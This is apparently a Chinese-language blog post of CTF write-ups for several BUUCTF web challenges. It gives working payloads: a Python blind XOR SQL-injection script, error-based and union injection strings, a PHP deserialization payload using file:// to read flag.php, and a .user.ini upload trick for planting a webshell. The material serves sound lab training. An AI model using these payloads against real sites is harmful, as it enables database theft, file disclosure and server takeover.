buuctf3

[HCTF 2018]admin

尝试了一下sql注入,发现不行,注册了一个账号找找线索,抓包看看回显,发现
img
不知道是个啥,百度了一下,是一种安全措施,用了防止xss等攻击的。
看完wp后,发现自己看的不够仔细,发现更改密码页面有github源码泄露,感觉自己经常被某种思路给束缚住?然后就忘记一些基操,以后要注意点
刚看完了wp,确认过眼神,是不会做的题,现在靠印象复现一下思路:

buy you flag

1
2
3
4
5
6
7
8
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

抓包
img

总共更改这些地方,然后有一点没想到,看了wp他说有长度限制,
这里需要拓展学习一下strcmp字符串比较绕过,因为他无法比较数组的长度,所以在money后加个[]即可绕过

这里有个思路没想清楚:他说有长度限制?这个时候我们应该想的是什么函数能比较长度?然后查询该函数能否被绕过:
按照这个思路果然可以找到线索,学习一下!

CheckIn

看了一下源码,可以确定的是如要传入一句话木马需要使用
<script>写的,刚才看到一个user.ini,感觉需要利用一下这个线索,去百度看看:
之前在学文件上传其实就有看到过这个user.ini 我简要讲解一下以及利用方式,这个是一个配置文件,可以动态调整,随改随用,但是权限为user,其中能为我们所用的就是:
auto_prepend_file=**文件名
这个是可以使user.ini所在目录下的php文件包含某个文件,比如说
在user.ini中我配置了
auto_prepend_file=12.gif**在这个目录下有一个index.php,当我打开index.php的时候就自动包含了12.gif,文件包含会自动执行其中php代码。

所以整体思路就是,先上传user.ini,然后上传12.gif,然后打开index.php页面使用蚁剑连接即可:
文件上传绕过只要添加一个图像头就可以,比如GIF98a,一句话木马使用<script>书写方式

img img 成功包含 img 成功连接 flag{fe873bd0-b289-495f-8254-ec9f4e68b1e6} flag{ed3c91a9-9f59-480e-8595-a410ad4e6175}拿到flag

https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

Easy MD5

MD5的考点,第一个是弱等于,所以只要找MD5值为0e开头的就行,接下来是强等于,强等于直接让值为数组类型,因为MD5转化数组直接为0

NiZhuanSiWei

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

file_get_contents()函数,从文件中获取内容,这里使用data://伪协议进行绕过

1
2.?file=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=  #后面的base64字符是需要传入的字符串的base64编码

接下来是file,由于这里使用正则替换了flag所以往下看, 有个反序列化,结合源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

此时就很明了了
img
这里还提示了useless.php,思路就是这里包含了useless.php后,反序列化进入useless.php中就可以输出flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  

class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new FLag();
$a=serialize($a);
print($a);
?>

以上是生成反序列化内容的代码,一开始一直在想如何在类外给file赋值,后来查不到(可能姿势不对)然后phpstorm正好有赋值功能,所以就直接赋值了,然后想了一下,直接对类里面进行赋值其实就可以了,得到以下内容

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

然后拼接

1
?text=data:text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

以上为payload

hack world

看到过滤了这么多,八成就是盲注,fuzz了一下,发现and被过滤了,subustr没有被过滤,select也没有,因为and被过滤了,所以这里就需要一些运算连接符,比如说以前的-0- 但是这里-号被过滤了,看了一下 发现^异或符没被过滤,测试了一下发现可以
直接写脚本:flag{ed3c991a99f9480e8595a410ad4e6175}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url=r"http://d9e1077c-0511-4ac8-b837-47a768476f3b.node3.buuoj.cn/index.php"
s=requests.session()
payload=""
pay_try="0123456789qwertyuiopasdfghjklzxcvbnm-{}"
flag=""
for i in range(10,50):
for j in pay_try:
payload=f"1^((substr((select(flag)from(flag)),{i},1))='{j}')^1"
data={"id":payload}
print(data)
if "Hello" in s.post(url=url,data=data).text:
flag+=j
print(flag)
break

这个异或在这里还是一个运算符:

Hard SQL

和上一题一样,但是这里是用异或作为运算符来连接,用括号绕过空格过滤
因为这种方法利用了异或符号,所以给它取名为xor注入:

1
admin'^extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))#

接下来还是一样 不过是要用substr去截一下,但是这里substr被过滤了,fuzz一下,发现right之类的指令没被过滤:

1
admin'^extractvalue(1,concat('~',(select(mid(password,30))from((H4rDsq1)))))#

Fakebook

注册——登录——url上存在数字型注入:

1
?no=1%20and%20extractvalue(1,concat(%27~%27,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))%20--+

但是报错注入啥东西也没注入出来?所以可能考点不在这,于是扫描一下目录看看:发现robots.txt
里面有个user.php.bak 下载打开看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

审计上述代码 发现可疑的curl_exec()函数:

利用curl读取写入文件

Linux系统中一般都会自带curl工具,其次是curl支持file协议,意味着我们能够读取本地文件。

这边使用的file协议进行读取
这题没我有想象得那么简单:
这里从头开始捋一下思路重做一下:
当我进行报错注入的时候
得到:

1
no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS 以上字段名

当我们获取data字段名的时候发现

1
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:0;s:4:"blog";s:9:"ad1sa.asd";} 

结合前面的curl函数漏洞,我们知道如果可以在blog一栏输入我们的file://语句,那么就会被curl_exec解析执行命令,但是该如何注入呢?再次尝试union联合注入,使用/**/进行绕过,发现是可以的,order by验证字段数——注入。
这里就直接放payload:

1
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users --+

小结

这道题没我想象得那么容易,其中还有ssrf漏洞的相关知识结合sql注入还有简单序列化问题
打算去整理一篇ssrf的文章。

Author

vague huang

Posted on

2021-03-18

Updated on

2021-03-26

Licensed under

Comments